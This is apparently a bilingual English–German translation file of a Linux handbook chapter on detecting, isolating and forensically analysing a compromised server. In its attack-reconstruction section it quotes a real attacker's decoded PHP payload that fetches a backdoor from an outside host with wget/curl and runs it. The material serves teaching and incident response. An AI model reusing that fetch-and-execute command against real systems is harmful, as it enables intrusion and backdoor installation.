de-DE: Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens <literal>apache</literal> statt des standardmäßigen <literal>/usr/sbin/apache2</literal>. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit <filename>/proc/<replaceable>pid</replaceable>/exe</filename> überprüft werden, um zu sehen, welches Programm diesen Prozess zurzeit gerade ausführt:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
de-DE: Ein unter <filename>/var/tmp/</filename> installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.

en: This is only one example, but many other hints can ring the administrator's bell:
de-DE: Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
de-DE: eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut <command>dpkg</command> installiert sein sollte;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
de-DE: eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
de-DE: Fehler, die darauf zurückzuführen sind, dass die Partition <filename>/tmp/</filename> voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;

en: and so on.
de-DE: und so weiter.

en: Putting the Server Off-Line
de-DE: Den Server vom Netz nehmen

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
de-DE: Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
de-DE: Dies ist nur möglich, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters weit entfernt befindet oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> und <xref linkend="sect.reconstituting-the-attack-scenario" />) und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer <command>sshd</command>). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu „reinigen“.

en: Keeping Everything that Could Be Used as Evidence
de-DE: Alles aufbewahren, was als Beweis dienen könnte

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
de-DE: Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
de-DE: Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (<command>netstat -tupan</command> für Netzwerkverbindungen, <command>ps auxf</command> für eine Liste der Prozesse, <command>ls -alR /proc/[0-9]*</command> für einige zusätzliche Informationen über laufende Programme) und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.

en: <emphasis>CAUTION</emphasis> Hot analysis
de-DE: <emphasis>VORSICHT</emphasis> Analyse unter Spannung

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
de-DE: Obwohl es verlockend sein mag, das System zu analysieren, während es läuft, sollte dies unterlassen werden, vor allem, wenn der Server physisch nicht erreichbar ist: Sie können einfach den Programmen, die zurzeit auf dem kompromittierten System installiert sind, nicht trauen. Es ist gut möglich, dass ein unterwanderter <command>ps</command>-Befehl einige Prozesse verbirgt oder dass ein unterwanderter <command>ls</command>-Befehl Dateien verbirgt; manchmal ist sogar der Kernel kompromittiert!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
de-DE: Falls eine solche Analyse „unter Spannung“ dennoch notwendig ist, sollte darauf geachtet werden, nur bekanntermaßen einwandfreie Programme zu benutzen. Eine gute Möglichkeit dies zu tun besteht darin, eine Rettungs-CD mit einwandfreien Programmen zu verwenden oder eine schreibgeschützte Netzwerkfreigabe. Jedoch könnten selbst diese Gegenmaßnahmen nicht ausreichend sein, falls der Kernel selbst kompromittiert ist.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
de-DE: Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl <command>sync</command> ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie <command>dd</command> kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm <command>nc</command>). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.

en: Re-installing
de-DE: Neu installieren

en: <primary>backdoor</primary>
de-DE: <primary>Hintertür</primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
de-DE: Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem <emphasis>Hintertüren</emphasis>), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.

en: Forensic Analysis
de-DE: Forensische Analyse

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
de-DE: Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen <literal>ro,nodev,noexec,noatime</literal> verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
de-DE: Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
de-DE: <filename>.bash_history</filename>-Dateien stellen häufig eine sehr interessante Lektüre dar;

en: so does listing files that were recently created, modified or accessed;
de-DE: das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
de-DE: der Befehl <command>strings</command> hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
de-DE: die Protokolldateien in <filename>/var/log/</filename> ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
de-DE: Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.

en: Reconstituting the Attack Scenario
de-DE: Das Angriffsszenarium wiederherstellen

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
de-DE: Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.

en: The following log is an extract from an Apache <filename>access.log</filename>:
de-DE: Das folgende Protokoll ist ein Auzug aus einer Apache <filename>access.log</filename>-Datei:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
de-DE: Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. In der Tat wurde eine <filename>bd</filename>-Datei in <filename>/tmp/</filename> gefunden. Wenn man <command>strings /mnt/tmp/bd</command> ausführt, ergibt sich unter anderem der String <literal>PsychoPhobia Backdoor is starting...</literal>. Dies sieht wirklich nach einer Hintertür aus.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
de-DE: Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-<emphasis>Bot</emphasis> herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
de-DE: Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
de-DE: Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: <filename>/tmp/pt</filename> und <filename>/tmp/loginx</filename>. Lässt man diese Dateien durch <command>strings</command> laufen, so ergeben sich Strings wie <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> und <foreignphrase>Now wait for suid shell...</foreignphrase>. Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
de-DE: In diesem Beispiel wurde der gesamte Einbruch rekonstruiert und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.
